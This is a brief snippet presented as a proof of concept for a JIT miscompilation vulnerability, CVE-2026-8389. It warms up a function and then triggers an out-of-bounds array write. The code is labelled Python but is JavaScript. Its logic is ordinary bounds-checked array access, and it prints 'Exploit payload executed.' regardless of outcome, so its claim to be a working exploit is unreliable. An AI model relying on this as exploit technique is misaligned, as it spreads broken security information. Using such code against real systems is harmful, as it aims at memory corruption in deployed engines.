The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-8389: JIT Miscompilation Trigger
// This is a conceptual example to trigger the JIT optimization bug.
function triggerJITBug() {
// Prepare an array to manipulate memory layout
let arr = [1.1, 2.2, 3.3];
// Function designed to be JIT compiled
function optimizeMe(idx, val) {
// The JIT optimizer may incorrectly eliminate bounds checks
// or misinterpret types based on this operation
if (idx > 0) {
arr[idx] = val;
}
return arr[idx];
}
// Warm up the function to trigger JIT compilation
for (let i = 0; i < 10000; i++) {
optimizeMe(1, 4.4);
}
// Trigger the miscompilation with specific arguments
// This may lead to out-of-bounds write or read
try {
optimizeMe(100, "malicious_data");
console.log("Exploit payload executed.");
} catch (e) {
console.log("PoC execution failed or caught.");
}
}
triggerJITBug();